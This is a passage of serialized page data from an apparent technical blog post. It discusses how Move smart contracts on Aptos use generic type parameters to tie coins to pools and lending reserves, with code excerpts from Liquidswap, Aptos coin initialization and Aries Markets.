T",{"type":24,"tag":83,"props":5666,"children":5667},{"style":107},[5668],{"type":29,"value":5567},{"type":24,"tag":83,"props":5670,"children":5671},{"style":137},[5672],{"type":29,"value":5572},{"type":24,"tag":83,"props":5674,"children":5675},{"style":137},[5676],{"type":29,"value":5677}," key",{"type":24,"tag":83,"props":5679,"children":5680},{"style":107},[5681],{"type":29,"value":568},{"type":24,"tag":83,"props":5683,"children":5684},{"style":137},[5685],{"type":29,"value":5686},"store",{"type":24,"tag":83,"props":5688,"children":5689},{"style":107},[5690],{"type":29,"value":125},{"type":24,"tag":83,"props":5692,"children":5693},{"class":85,"line":128},[5694,5699,5703],{"type":24,"tag":83,"props":5695,"children":5696},{"style":137},[5697],{"type":29,"value":5698},"      id",{"type":24,"tag":83,"props":5700,"children":5701},{"style":143},[5702],{"type":29,"value":195},{"type":24,"tag":83,"props":5704,"children":5705},{"style":107},[5706],{"type":29,"value":5707}," UID,\n",{"type":24,"tag":83,"props":5709,"children":5710},{"class":85,"line":183},[5711,5716,5720,5725,5729,5734],{"type":24,"tag":83,"props":5712,"children":5713},{"style":137},[5714],{"type":29,"value":5715},"      balance",{"type":24,"tag":83,"props":5717,"children":5718},{"style":143},[5719],{"type":29,"value":195},{"type":24,"tag":83,"props":5721,"children":5722},{"style":3163},[5723],{"type":29,"value":5724}," Balance",{"type":24,"tag":83,"props":5726,"children":5727},{"style":107},[5728],{"type":29,"value":5552},{"type":24,"tag":83,"props":5730,"children":5731},{"style":3163},[5732],{"type":29,"value":5733},"T",{"type":24,"tag":83,"props":5735,"children":5736},{"style":107},[5737],{"type":29,"value":5738},">\n",{"type":24,"tag":83,"props":5740,"children":5741},{"class":85,"line":203},[5742],{"type":24,"tag":83,"props":5743,"children":5744},{"style":107},[5745],{"type":29,"value":455},{"type":24,"tag":25,"props":5747,"children":5748},{},[5749],{"type":24,"tag":2655,"props":5750,"children":5751},{},[5752],{"type":29,"value":5753},"sui",{"type":24,"tag":25,"props":5755,"children":5756},{},[5757,5759,5766,5768,5774],{"type":29,"value":5758},"Pulling an example from ",{"type":24,"tag":2033,"props":5760,"children":5763},{"href":5761,"rel":5762},"https://pontem.network/",[2037],[5764],{"type":29,"value":5765},"Pontem Network's",{"type":29,"value":5767}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":24,"tag":32,"props":5769,"children":5771},{"className":5770},[],[5772],{"type":29,"value":5773},"LiquidityPool",{"type":29,"value":5775}," natively embeds this type information into it's fields.",{"type":24,"tag":73,"props":5777,"children":5779},{"className":2725,"code":5778,"language":2724,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[5780],{"type":24,"tag":32,"props":5781,"children":5782},{"__ignoreMap":7},[5783,5791,5855,5885,5914,5922],{"type":24,"tag":83,"props":5784,"children":5785},{"class":85,"line":86},[5786],{"type":24,"tag":83,"props":5787,"children":5788},{"style":2735},[5789],{"type":29,"value":5790},"    /// Liquidity pool with reserves.\n",{"type":24,"tag":83,"props":5792,"children":5793},{"class":85,"line":113},[5794,5799,5804,5808,5812,5817,5821,5825,5830,5834,5838,5843,5847,5851],{"type":24,"tag":83,"props":5795,"children":5796},{"style":90},[5797],{"type":29,"value":5798},"    struct",{"type":24,"tag":83,"props":5800,"children":5801},{"style":3163},[5802],{"type":29,"value":5803}," LiquidityPool",{"type":24,"tag":83,"props":5805,"children":5806},{"style":107},[5807],{"type":29,"value":5552},{"type":24,"tag":83,"props":5809,"children":5810},{"style":137},[5811],{"type":29,"value":5557},{"type":24,"tag":83,"props":5813,"children":5814},{"style":3163},[5815],{"type":29,"value":5816}," X",{"type":24,"tag":83,"props":5818,"children":5819},{"style":107},[5820],{"type":29,"value":568},{"type":24,"tag":83,"props":5822,"children":5823},{"style":137},[5824],{"type":29,"value":5557},{"type":24,"tag":83,"props":5826,"children":5827},{"style":3163},[5828],{"type":29,"value":5829}," Y",{"type":24,"tag":83,"props":5831,"children":5832},{"style":107},[5833],{"type":29,"value":568},{"type":24,"tag":83,"props":5835,"children":5836},{"style":137},[5837],{"type":29,"value":5557},{"type":24,"tag":83,"props":5839,"children":5840},{"style":107},[5841],{"type":29,"value":5842}," LP> ",{"type":24,"tag":83,"props":5844,"children":5845},{"style":137},[5846],{"type":29,"value":5572},{"type":24,"tag":83,"props":5848,"children":5849},{"style":137},[5850],{"type":29,"value":5677},{"type":24,"tag":83,"props":5852,"children":5853},{"style":107},[5854],{"type":29,"value":125},{"type":24,"tag":83,"props":5856,"children":5857},{"class":85,"line":128},[5858,5863,5867,5871,5875,5880],{"type":24,"tag":83,"props":5859,"children":5860},{"style":137},[5861],{"type":29,"value":5862},"        coin_x_reserve",{"type":24,"tag":83,"props":5864,"children":5865},{"style":143},[5866],{"type":29,"value":195},{"type":24,"tag":83,"props":5868,"children":5869},{"style":3163},[5870],{"type":29,"value":5547},{"type":24,"tag":83,"props":5872,"children":5873},{"style":107},[5874],{"type":29,"value":5552},{"type":24,"tag":83,"props":5876,"children":5877},{"style":3163},[5878],{"type":29,"value":5879},"X",{"type":24,"tag":83,"props":5881,"children":5882},{"style":107},[5883],{"type":29,"value":5884},">,\n",{"type":24,"tag":83,"props":5886,"children":5887},{"class":85,"line":183},[5888,5893,5897,5901,5905,5910],{"type":24,"tag":83,"props":5889,"children":5890},{"style":137},[5891],{"type":29,"value":5892},"        coin_y_reserve",{"type":24,"tag":83,"props":5894,"children":5895},{"style":143},[5896],{"type":29,"value":195},{"type":24,"tag":83,"props":5898,"children":5899},{"style":3163},[5900],{"type":29,"value":5547},{"type":24,"tag":83,"props":5902,"children":5903},{"style":107},[5904],{"type":29,"value":5552},{"type":24,"tag":83,"props":5906,"children":5907},{"style":3163},[5908],{"type":29,"value":5909},"Y",{"type":24,"tag":83,"props":5911,"children":5912},{"style":107},[5913],{"type":29,"value":5884},{"type":24,"tag":83,"props":5915,"children":5916},{"class":85,"line":203},[5917],{"type":24,"tag":83,"props":5918,"children":5919},{"style":2735},[5920],{"type":29,"value":5921},"        // ...\n",{"type":24,"tag":83,"props":5923,"children":5924},{"class":85,"line":212},[5925],{"type":24,"tag":83,"props":5926,"children":5927},{"style":107},[5928],{"type":29,"value":446},{"type":24,"tag":25,"props":5930,"children":5931},{},[5932],{"type":29,"value":5933},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":24,"tag":73,"props":5935,"children":5937},{"className":2725,"code":5936,"language":2724,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[5938],{"type":24,"tag":32,"props":5939,"children":5940},{"__ignoreMap":7},[5941,5980,6001,6029,6057,6108,6116,6123],{"type":24,"tag":83,"props":5942,"children":5943},{"class":85,"line":86},[5944,5949,5954,5959,5963,5967,5971,5975],{"type":24,"tag":83,"props":5945,"children":5946},{"style":137},[5947],{"type":29,"value":5948},"      public",{"type":24,"tag":83,"props":5950,"children":5951},{"style":137},[5952],{"type":29,"value":5953}," fun",{"type":24,"tag":83,"props":5955,"children":5956},{"style":137},[5957],{"type":29,"value":5958}," mint",{"type":24,"tag":83,"props":5960,"children":5961},{"style":107},[5962],{"type":29,"value":5552},{"type":24,"tag":83,"props":5964,"children":5965},{"style":3163},[5966],{"type":29,"value":5879},{"type":24,"tag":83,"props":5968,"children":5969},{"style":107},[5970],{"type":29,"value":568},{"type":24,"tag":83,"props":5972,"children":5973},{"style":3163},[5974],{"type":29,"value":5909},{"type":24,"tag":83,"props":5976,"children":5977},{"style":107},[5978],{"type":29,"value":5979},", LP>(\n",{"type":24,"tag":83,"props":5981,"children":5982},{"class":85,"line":113},[5983,5988,5992,5997],{"type":24,"tag":83,"props":5984,"children":5985},{"style":137},[5986],{"type":29,"value":5987},"          pool_addr",{"type":24,"tag":83,"props":5989,"children":5990},{"style":143},[5991],{"type":29,"value":195},{"type":24,"tag":83,"props":5993,"children":5994},{"style":137},[5995],{"type":29,"value":5996}," address",{"type":24,"tag":83,"props":5998,"children":5999},{"style":107},[6000],{"type":29,"value":989},{"type":24,"tag":83,"props":6002,"children":6003},{"class":85,"line":128},[6004,6009,6013,6017,6021,6025],{"type":24,"tag":83,"props":6005,"children":6006},{"style":137},[6007],{"type":29,"value":6008},"          coin_x",{"type":24,"tag":83,"props":6010,"children":6011},{"style":143},[6012],{"type":29,"value":195},{"type":24,"tag":83,"props":6014,"children":6015},{"style":3163},[6016],{"type":29,"value":5547},{"type":24,"tag":83,"props":6018,"children":6019},{"style":107},[6020],{"type":29,"value":5552},{"type":24,"tag":83,"props":6022,"children":6023},{"style":3163},[6024],{"type":29,"value":5879},{"type":24,"tag":83,"props":6026,"children":6027},{"style":107},[6028],{"type":29,"value":5884},{"type":24,"tag":83,"props":6030,"children":6031},{"class":85,"line":183},[6032,6037,6041,6045,6049,6053],{"type":24,"tag":83,"props":6033,"children":6034},{"style":137},[6035],{"type":29,"value":6036},"          coin_y",{"type":24,"tag":83,"props":6038,"children":6039},{"style":143},[6040],{"type":29,"value":195},{"type":24,"tag":83,"props":6042,"children":6043},{"style":3163},[6044],{"type":29,"value":5547},{"type":24,"tag":83,"props":6046,"children":6047},{"style":107},[6048],{"type":29,"value":5552},{"type":24,"tag":83,"props":6050,"children":6051},{"style":3163},[6052],{"type":29,"value":5909},{"type":24,"tag":83,"props":6054,"children":6055},{"style":107},[6056],{"type":29,"value":5738},{"type":24,"tag":83,"props":6058,"children":6059},{"class":85,"line":203},[6060,6065,6069,6073,6077,6082,6086,6091,6095,6099,6104],{"type":24,"tag":83,"props":6061,"children":6062},{"style":107},[6063],{"type":29,"value":6064},"      )",{"type":24,"tag":83,"props":6066,"children":6067},{"style":143},[6068],{"type":29,"value":195},{"type":24,"tag":83,"props":6070,"children":6071},{"style":3163},[6072],{"type":29,"value":5547},{"type":24,"tag":83,"props":6074,"children":6075},{"style":107},[6076],{"type":29,"value":5552},{"type":24,"tag":83,"props":6078,"children":6079},{"style":3163},[6080],{"type":29,"value":6081},"LP",{"type":24,"tag":83,"props":6083,"children":6084},{"style":107},[6085],{"type":29,"value":5567},{"type":24,"tag":83,"props":6087,"children":6088},{"style":137},[6089],{"type":29,"value":6090},"acquires",{"type":24,"tag":83,"props":6092,"children":6093},{"style":3163},[6094],{"type":29,"value":5803},{"type":24,"tag":83,"props":6096,"children":6097},{"style":107},[6098],{"type":29,"value":568},{"type":24,"tag":83,"props":6100,"children":6101},{"style":3163},[6102],{"type":29,"value":6103},"EventsStore",{"type":24,"tag":83,"props":6105,"children":6106},{"style":107},[6107],{"type":29,"value":125},{"type":24,"tag":83,"props":6109,"children":6110},{"class":85,"line":212},[6111],{"type":24,"tag":83,"props":6112,"children":6113},{"style":2735},[6114],{"type":29,"value":6115},"          // ...\n",{"type":24,"tag":83,"props":6117,"children":6118},{"class":85,"line":256},[6119],{"type":24,"tag":83,"props":6120,"children":6121},{"emptyLinePlaceholder":16},[6122],{"type":29,"value":3422},{"type":24,"tag":83,"props":6124,"children":6125},{"class":85,"line":270},[6126,6131,6135,6140,6144,6149,6153,6157,6162,6166,6170,6174,6178,6183,6188],{"type":24,"tag":83,"props":6127,"children":6128},{"style":90},[6129],{"type":29,"value":6130},"          let",{"type":24,"tag":83,"props":6132,"children":6133},{"style":107},[6134],{"type":29,"value":223},{"type":24,"tag":83,"props":6136,"children":6137},{"style":137},[6138],{"type":29,"value":6139},"x_reserve_size",{"type":24,"tag":83,"props":6141,"children":6142},{"style":107},[6143],{"type":29,"value":568},{"type":24,"tag":83,"props":6145,"children":6146},{"style":137},[6147],{"type":29,"value":6148},"y_reserve_size",{"type":24,"tag":83,"props":6150,"children":6151},{"style":107},[6152],{"type":29,"value":633},{"type":24,"tag":83,"props":6154,"children":6155},{"style":143},[6156],{"type":29,"value":1275},{"type":24,"tag":83,"props":6158,"children":6159},{"style":137},[6160],{"type":29,"value":6161}," get_reserves_size",{"type":24,"tag":83,"props":6163,"children":6164},{"style":107},[6165],{"type":29,"value":5552},{"type":24,"tag":83,"props":6167,"children":6168},{"style":3163},[6169],{"type":29,"value":5879},{"type":24,"tag":83,"props":6171,"children":6172},{"style":107},[6173],{"type":29,"value":568},{"type":24,"tag":83,"props":6175,"children":6176},{"style":3163},[6177],{"type":29,"value":5909},{"type":24,"tag":83,"props":6179,"children":6180},{"style":107},[6181],{"type":29,"value":6182},", LP>(",{"type":24,"tag":83,"props":6184,"children":6185},{"style":137},[6186],{"type":29,"value":6187},"pool_addr",{"type":24,"tag":83,"props":6189,"children":6190},{"style":107},[6191],{"type":29,"value":581},{"type":24,"tag":25,"props":6193,"children":6194},{},[6195,6197,6203,6205,6212],{"type":29,"value":6196},"As an aside, this generic type information is implemented at runtime in the ",{"type":24,"tag":32,"props":6198,"children":6200},{"className":6199},[],[6201],{"type":29,"value":6202},"ty_args",{"type":29,"value":6204}," ",{"type":24,"tag":2033,"props":6206,"children":6209},{"href":6207,"rel":6208},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[2037],[6210],{"type":29,"value":6211},"at the vm level",{"type":29,"value":6213},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":24,"tag":25,"props":6215,"children":6216},{},[6217,6219,6225,6227,6233,6235,6241,6242,6248],{"type":29,"value":6218},"In pseucode, this checks that ",{"type":24,"tag":32,"props":6220,"children":6222},{"className":6221},[],[6223],{"type":29,"value":6224},"coin_x.type",{"type":29,"value":6226}," is equal to ",{"type":24,"tag":32,"props":6228,"children":6230},{"className":6229},[],[6231],{"type":29,"value":6232},"pool.x_type",{"type":29,"value":6234},", and ",{"type":24,"tag":32,"props":6236,"children":6238},{"className":6237},[],[6239],{"type":29,"value":6240},"coin_y.type",{"type":29,"value":6226},{"type":24,"tag":32,"props":6243,"children":6245},{"className":6244},[],[6246],{"type":29,"value":6247},"pool.y_type",{"type":29,"value":161},{"type":24,"tag":25,"props":6250,"children":6251},{},[6252],{"type":29,"value":6253},"This type system has two advantages",{"type":24,"tag":63,"props":6255,"children":6256},{},[6257,6269],{"type":24,"tag":67,"props":6258,"children":6259},{},[6260,6262,6267],{"type":29,"value":6261},"It's required. The type parameter ",{"type":24,"tag":2655,"props":6263,"children":6264},{},[6265],{"type":29,"value":6266},"must",{"type":29,"value":6268}," be specified so it's impossible to forget such a constraint",{"type":24,"tag":67,"props":6270,"children":6271},{},[6272],{"type":29,"value":6273},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":24,"tag":25,"props":6275,"children":6276},{},[6277],{"type":29,"value":6278},"However, this system isn't perfect.",{"type":24,"tag":25,"props":6280,"children":6281},{},[6282,6284,6289],{"type":29,"value":6283},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":24,"tag":2040,"props":6285,"children":6286},{},[6287],{"type":29,"value":6288},"an anti-pattern",{"type":29,"value":161},{"type":24,"tag":25,"props":6291,"children":6292},{},[6293,6295,6301],{"type":29,"value":6294},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":24,"tag":32,"props":6296,"children":6298},{"className":6297},[],[6299],{"type":29,"value":6300},"CoinInfo\u003CCoinType>",{"type":29,"value":161},{"type":24,"tag":73,"props":6303,"children":6305},{"className":2725,"code":6304,"language":2724,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[6306],{"type":24,"tag":32,"props":6307,"children":6308},{"__ignoreMap":7},[6309,6336,6344,6413,6420,6427,6439,6484,6506],{"type":24,"tag":83,"props":6310,"children":6311},{"class":85,"line":86},[6312,6317,6322,6326,6331],{"type":24,"tag":83,"props":6313,"children":6314},{"style":137},[6315],{"type":29,"value":6316},"  fun",{"type":24,"tag":83,"props":6318,"children":6319},{"style":137},[6320],{"type":29,"value":6321}," initialize_internal",{"type":24,"tag":83,"props":6323,"children":6324},{"style":107},[6325],{"type":29,"value":5552},{"type":24,"tag":83,"props":6327,"children":6328},{"style":3163},[6329],{"type":29,"value":6330},"CoinType",{"type":24,"tag":83,"props":6332,"children":6333},{"style":107},[6334],{"type":29,"value":6335},">(\n",{"type":24,"tag":83,"props":6337,"children":6338},{"class":85,"line":113},[6339],{"type":24,"tag":83,"props":6340,"children":6341},{"style":2735},[6342],{"type":29,"value":6343},"      // ...\n",{"type":24,"tag":83,"props":6345,"children":6346},{"class":85,"line":128},[6347,6352,6356,6360,6365,6369,6373,6378,6383,6387,6391,6395,6400,6404,6408],{"type":24,"tag":83,"props":6348,"children":6349},{"style":107},[6350],{"type":29,"value":6351},"  )",{"type":24,"tag":83,"props":6353,"children":6354},{"style":143},[6355],{"type":29,"value":195},{"type":24,"tag":83,"props":6357,"children":6358},{"style":107},[6359],{"type":29,"value":223},{"type":24,"tag":83,"props":6361,"children":6362},{"style":3163},[6363],{"type":29,"value":6364},"BurnCapability",{"type":24,"tag":83,"props":6366,"children":6367},{"style":107},[6368],{"type":29,"value":5552},{"type":24,"tag":83,"props":6370,"children":6371},{"style":3163},[6372],{"type":29,"value":6330},{"type":24,"tag":83,"props":6374,"children":6375},{"style":107},[6376],{"type":29,"value":6377},">, ",{"type":24,"tag":83,"props":6379,"children":6380},{"style":3163},[6381],{"type":29,"value":6382},"FreezeCapability",{"type":24,"tag":83,"props":6384,"children":6385},{"style":107},[6386],{"type":29,"value":5552},{"type":24,"tag":83,"props":6388,"children":6389},{"style":3163},[6390],{"type":29,"value":6330},{"type":24,"tag":83,"props":6392,"children":6393},{"style":107},[6394],{"type":29,"value":6377},{"type":24,"tag":83,"props":6396,"children":6397},{"style":3163},[6398],{"type":29,"value":6399},"MintCapability",{"type":24,"tag":83,"props":6401,"children":6402},{"style":107},[6403],{"type":29,"value":5552},{"type":24,"tag":83,"props":6405,"children":6406},{"style":3163},[6407],{"type":29,"value":6330},{"type":24,"tag":83,"props":6409,"children":6410},{"style":107},[6411],{"type":29,"value":6412},">) {\n",{"type":24,"tag":83,"props":6414,"children":6415},{"class":85,"line":183},[6416],{"type":24,"tag":83,"props":6417,"children":6418},{"style":2735},[6419],{"type":29,"value":6343},{"type":24,"tag":83,"props":6421,"children":6422},{"class":85,"line":203},[6423],{"type":24,"tag":83,"props":6424,"children":6425},{"emptyLinePlaceholder":16},[6426],{"type":29,"value":3422},{"type":24,"tag":83,"props":6428,"children":6429},{"class":85,"line":212},[6430,6435],{"type":24,"tag":83,"props":6431,"children":6432},{"style":101},[6433],{"type":29,"value":6434},"      assert!",{"type":24,"tag":83,"props":6436,"children":6437},{"style":107},[6438],{"type":29,"value":3208},{"type":24,"tag":83,"props":6440,"children":6441},{"class":85,"line":256},[6442,6447,6452,6456,6461,6465,6469,6474,6479],{"type":24,"tag":83,"props":6443,"children":6444},{"style":143},[6445],{"type":29,"value":6446},"          !",{"type":24,"tag":83,"props":6448,"children":6449},{"style":137},[6450],{"type":29,"value":6451},"exists",{"type":24,"tag":83,"props":6453,"children":6454},{"style":107},[6455],{"type":29,"value":5552},{"type":24,"tag":83,"props":6457,"children":6458},{"style":3163},[6459],{"type":29,"value":6460},"CoinInfo",{"type":24,"tag":83,"props":6462,"children":6463},{"style":107},[6464],{"type":29,"value":5552},{"type":24,"tag":83,"props":6466,"children":6467},{"style":3163},[6468],{"type":29,"value":6330},{"type":24,"tag":83,"props":6470,"children":6471},{"style":107},[6472],{"type":29,"value":6473},">>(",{"type":24,"tag":83,"props":6475,"children":6476},{"style":137},[6477],{"type":29,"value":6478},"account_addr",{"type":24,"tag":83,"props":6480,"children":6481},{"style":107},[6482],{"type":29,"value":6483},"),\n",{"type":24,"tag":83,"props":6485,"children":6486},{"class":85,"line":270},[6487,6492,6496,6501],{"type":24,"tag":83,"props":6488,"children":6489},{"style":107},[6490],{"type":29,"value":6491},"          error",{"type":24,"tag":83,"props":6493,"children":6494},{"style":143},[6495],{"type":29,"value":3226},{"type":24,"tag":83,"props":6497,"children":6498},{"style":101},[6499],{"type":29,"value":6500},"already_exists",{"type":24,"tag":83,"props":6502,"children":6503},{"style":107},[6504],{"type":29,"value":6505},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":24,"tag":83,"props":6507,"children":6508},{"class":85,"line":302},[6509],{"type":24,"tag":83,"props":6510,"children":6511},{"style":107},[6512],{"type":29,"value":6513},"      );\n",{"type":24,"tag":25,"props":6515,"children":6516},{},[6517,6519,6524],{"type":29,"value":6518},"While this ",{"type":24,"tag":32,"props":6520,"children":6522},{"className":6521},[],[6523],{"type":29,"value":6460},{"type":29,"value":6525}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":24,"tag":25,"props":6527,"children":6528},{},[6529,6531,6538],{"type":29,"value":6530},"Similarly, consider ",{"type":24,"tag":2033,"props":6532,"children":6535},{"href":6533,"rel":6534},"https://ariesmarkets.xyz/",[2037],[6536],{"type":29,"value":6537},"Aries Markets",{"type":29,"value":6539},", a lending/borrowing protocol building on Aptos.",{"type":24,"tag":25,"props":6541,"children":6542},{},[6543,6545,6551],{"type":29,"value":6544},"Their ",{"type":24,"tag":32,"props":6546,"children":6548},{"className":6547},[],[6549],{"type":29,"value":6550},"ReserveCoinContainer",{"type":29,"value":6552}," struct stores all the relevant data and resources for managing a lending market.",{"type":24,"tag":73,"props":6554,"children":6556},{"className":2725,"code":6555,"language":2724,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[6557],{"type":24,"tag":32,"props":6558,"children":6559},{"__ignoreMap":7},[6560,6568,6576,6617,6625,6654,6662,6699,6707,6744,6752,6789,6796,6803],{"type":24,"tag":83,"props":6561,"children":6562},{"class":85,"line":86},[6563],{"type":24,"tag":83,"props":6564,"children":6565},{"style":2735},[6566],{"type":29,"value":6567},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":24,"tag":83,"props":6569,"children":6570},{"class":85,"line":113},[6571],{"type":24,"tag":83,"props":6572,"children":6573},{"style":2735},[6574],{"type":29,"value":6575},"  /// Stored as a resources.\n",{"type":24,"tag":83,"props":6577,"children":6578},{"class":85,"line":128},[6579,6583,6588,6592,6596,6601,6605,6609,6613],{"type":24,"tag":83,"props":6580,"children":6581},{"style":90},[6582],{"type":29,"value":5542},{"type":24,"tag":83,"props":6584,"children":6585},{"style":3163},[6586],{"type":29,"value":6587}," ReserveCoinContainer",{"type":24,"tag":83,"props":6589,"children":6590},{"style":107},[6591],{"type":29,"value":5552},{"type":24,"tag":83,"props":6593,"children":6594},{"style":137},[6595],{"type":29,"value":5557},{"type":24,"tag":83,"props":6597,"children":6598},{"style":3163},[6599],{"type":29,"value":6600}," Coin0",{"type":24,"tag":83,"props":6602,"children":6603},{"style":107},[6604],{"type":29,"value":5567},{"type":24,"tag":83,"props":6606,"children":6607},{"style":137},[6608],{"type":29,"value":5572},{"type":24,"tag":83,"props":6610,"children":6611},{"style":137},[6612],{"type":29,"value":5677},{"type":24,"tag":83,"props":6614,"children":6615},{"style":107},[6616],{"type":29,"value":125},{"type":24,"tag":83,"props":6618,"children":6619},{"class":85,"line":183},[6620],{"type":24,"tag":83,"props":6621,"children":6622},{"style":2735},[6623],{"type":29,"value":6624},"      /// Stores the available `Coin`.\n",{"type":24,"tag":83,"props":6626,"children":6627},{"class":85,"line":203},[6628,6633,6637,6641,6645,6650],{"type":24,"tag":83,"props":6629,"children":6630},{"style":137},[6631],{"type":29,"value":6632},"      underlying_coin",{"type":24,"tag":83,"props":6634,"children":6635},{"style":143},[6636],{"type":29,"value":195},{"type":24,"tag":83,"props":6638,"children":6639},{"style":3163},[6640],{"type":29,"value":5547},{"type":24,"tag":83,"props":6642,"children":6643},{"style":107},[6644],{"type":29,"value":5552},{"type":24,"tag":83,"props":6646,"children":6647},{"style":3163},[6648],{"type":29,"value":6649},"Coin0",{"type":24,"tag":83,"props":6651,"children":6652},{"style":107},[6653],{"type":29,"value":5884},{"type":24,"tag":83,"props":6655,"children":6656},{"class":85,"line":212},[6657],{"type":24,"tag":83,"props":6658,"children":6659},{"style":2735},[6660],{"type":29,"value":6661},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":24,"tag":83,"props":6663,"children":6664},{"class":85,"line":256},[6665,6670,6674,6678,6682,6686,6690,6694],{"type":24,"tag":83,"props":6666,"children":6667},{"style":137},[6668],{"type":29,"value":6669},"      collateralised_lp_coin",{"type":24,"tag":83,"props":6671,"children":6672},{"style":143},[6673],{"type":29,"value":195},{"type":24,"tag":83,"props":6675,"children":6676},{"style":3163},[6677],{"type":29,"value":5547},{"type":24,"tag":83,"props":6679,"children":6680},{"style":107},[6681],{"type":29,"value":5552},{"type":24,"tag":83,"props":6683,"children":6684},{"style":3163},[6685],{"type":29,"value":6081},{"type":24,"tag":83,"props":6687,"children":6688},{"style":107},[6689],{"type":29,"value":5552},{"type":24,"tag":83,"props":6691,"children":6692},{"style":3163},[6693],{"type":29,"value":6649},{"type":24,"tag":83,"props":6695,"children":6696},{"style":107},[6697],{"type":29,"value":6698},">>,\n",{"type":24,"tag":83,"props":6700,"children":6701},{"class":85,"line":270},[6702],{"type":24,"tag":83,"props":6703,"children":6704},{"style":2735},[6705],{"type":29,"value":6706},"      /// Mint capability for LP Coin.\n",{"type":24,"tag":83,"props":6708,"children":6709},{"class":85,"line":302},[6710,6715,6719,6724,6728,6732,6736,6740],{"type":24,"tag":83,"props":6711,"children":6712},{"style":137},[6713],{"type":29,"value":6714},"      mint_capability",{"type":24,"tag":83,"props":6716,"children":6717},{"style":143},[6718],{"type":29,"value":195},{"type":24,"tag":83,"props":6720,"children":6721},{"style":3163},[6722],{"type":29,"value":6723}," MintCapability",{"type":24,"tag":83,"props":6725,"children":6726},{"style":107},[6727],{"type":29,"value":5552},{"type":24,"tag":83,"props":6729,"children":6730},{"style":3163},[6731],{"type":29,"value":6081},{"type":24,"tag":83,"props":6733,"children":6734},{"style":107},[6735],{"type":29,"value":5552},{"type":24,"tag":83,"props":6737,"children":6738},{"style":3163},[6739],{"type":29,"value":6649},{"type":24,"tag":83,"props":6741,"children":6742},{"style":107},[6743],{"type":29,"value":6698},{"type":24,"tag":83,"props":6745,"children":6746},{"class":85,"line":324},[6747],{"type":24,"tag":83,"props":6748,"children":6749},{"style":2735},[6750],{"type":29,"value":6751},"      /// Burn capability for LP Coin.\n",{"type":24,"tag":83,"props":6753,"children":6754},{"class":85,"line":345},[6755,6760,6764,6769,6773,6777,6781,6785],{"type":24,"tag":83,"props":6756,"children":6757},{"style":137},[6758],{"type":29,"value":6759},"      burn_capability",{"type":24,"tag":83,"props":6761,"children":6762},{"style":143},[6763],{"type":29,"value":195},{"type":24,"tag":83,"props":6765,"children":6766},{"style":3163},[6767],{"type":29,"value":6768}," BurnCapability",{"type":24,"tag":83,"props":6770,"children":6771},{"style":107},[6772],{"type":29,"value":5552},{"type":24,"tag":83,"props":6774,"children":6775},{"style":3163},[6776],{"type":29,"value":6081},{"type":24,"tag":83,"props":6778,"children":6779},{"style":107},[6780],{"type":29,"value":5552},{"type":24,"tag":83,"props":6782,"children":6783},{"style":3163},[6784],{"type":29,"value":6649},{"type":24,"tag":83,"props":6786,"children":6787},{"style":107},[6788],{"type":29,"value":6698},{"type":24,"tag":83,"props":6790,"children":6791},{"class":85,"line":358},[6792],{"type":24,"tag":83,"props":6793,"children":6794},{"emptyLinePlaceholder":16},[6795],{"type":29,"value":3422},{"type":24,"tag":83,"props":6797,"children":6798},{"class":85,"line":367},[6799],{"type":24,"tag":83,"props":6800,"children":6801},{"style":2735},[6802],{"type":29,"value":6343},{"type":24,"tag":83,"props":6804,"children":6805},{"class":85,"line":406},[6806],{"type":24,"tag":83,"props":6807,"children":6808},{"style":107},[6809],{"type":29,"value":455},{"type":24,"tag":25,"props":6811,"children":6812},{},[6813,6815,6820],{"type":29,"value":6814},"When creating a ",{"type":24,"tag":32,"props":6816,"children":6818},{"className":6817},[],[6819],{"type":29,"value":6550},{"type":29,"value":6821},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":24,"tag":73,"props":6823,"children":6825},{"className":2725,"code":6824,"language":2724,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      